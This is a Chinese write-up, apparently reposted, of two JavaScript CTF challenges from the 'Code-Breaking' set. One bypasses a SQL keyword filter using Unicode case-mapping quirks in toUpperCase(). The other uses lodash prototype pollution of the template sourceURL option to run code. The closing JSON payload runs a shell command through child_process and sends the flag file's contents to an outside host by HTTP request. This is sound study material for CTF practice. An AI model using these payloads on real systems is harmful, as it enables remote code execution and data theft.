Code-Breaking JS Writeup

栏目: JavaScript · 发布时间: 7年前

内容简介:题目来自 "代码审计知识星球"( p师傅 ) 学习了一下,做了两道关于 JS 的题对

Code-Breaking

题目来自 "代码审计知识星球"( p师傅 ) 学习了一下,做了两道关于 JS 的题

easy - nodechr

safeKeyword 过滤函数:

function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}

union|select|;|-- 进行了检测

漏洞点:

let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

函数 toUpperCase 是存在一些特殊情况的:

"ı".toUpperCase()
"I"
"ſ".toUpperCase()
"S"

即可绕过过滤函数。

hard - thejs

代码比较少,使用 lodash 实现了一个简单的 ejs 模版引擎,在请求的时候渲染。猜测是 merge 有问题,查看版本,然后在 github 上搜索: Code-Breaking JS Writeup

发现一个有意思的。 增加一个 safeGet 函数:

function safeGet(object, key) {
    return key == '__proto__'
      ? undefined
      : object[key];
  }

增加了判断原型属性的函数,没有的话可以进行原型污染。 开始看到:

res.render('index', {
        language: data.language, 
        category: data.category
    })

想着原型污染有点不太可能,后来测试发现, merge 直接将注入的原型属性的值写到了最底层的 Object ,这样每创建一个对象,注入的对象都会在原型属性当中。 接下来寻找可以利用的点,查看 template 函数,发现 敏感的点

var result = attempt(function() {
    return Function(importsKeys, sourceURL + 'return ' + source)
      .apply(undefined, importsValues);
  });

继续找 可控点

var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';

其中 option 为我们在模版引擎中,渲染的值。这里读取其中的 sourceURL 属性的值,我们就可以通过原型污染,添加一个 sourceURL 属性并控制值,在拼接到 Function 中达到执行 JS 的目的。 模版:

new Function("","//# sourceURL='xxx'\r\n[CODE]\r\n")();

这里有个小 TIP ?: Code-Breaking JS Writeup 没法直接在 Function 中引入 require 。查了一下:

var require = global.require || global.process.mainModule.constructor._load

所以原型污染 + 执行任意 JS。 payload:

{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://l0ca1.com/${result}`);req.end();\r\n"}}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

搜

(美)约翰·巴特利 / 张岩、魏平 / 中信出版社 / 2006-1 / 35.00元

这个世界需要什么?如何任何一家公司能回答好这个问题,它就掌握了控制商业社会,乃至整个人类文明的万能钥匙。在过去的几年中,Google正在为获得这把钥匙而努力。虽然Google并非搜索业务的最早开发者,但它凭借着简明、便利、实用的搜索技术和理念,逐渐击败雅虎、Alta Vista等搜索领域的先锋,成为搜索行业名副其实的王者。 本书描述了Google如何从斯坦福一个不起眼的公司迅速崛起为“......一起来看看 《搜》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具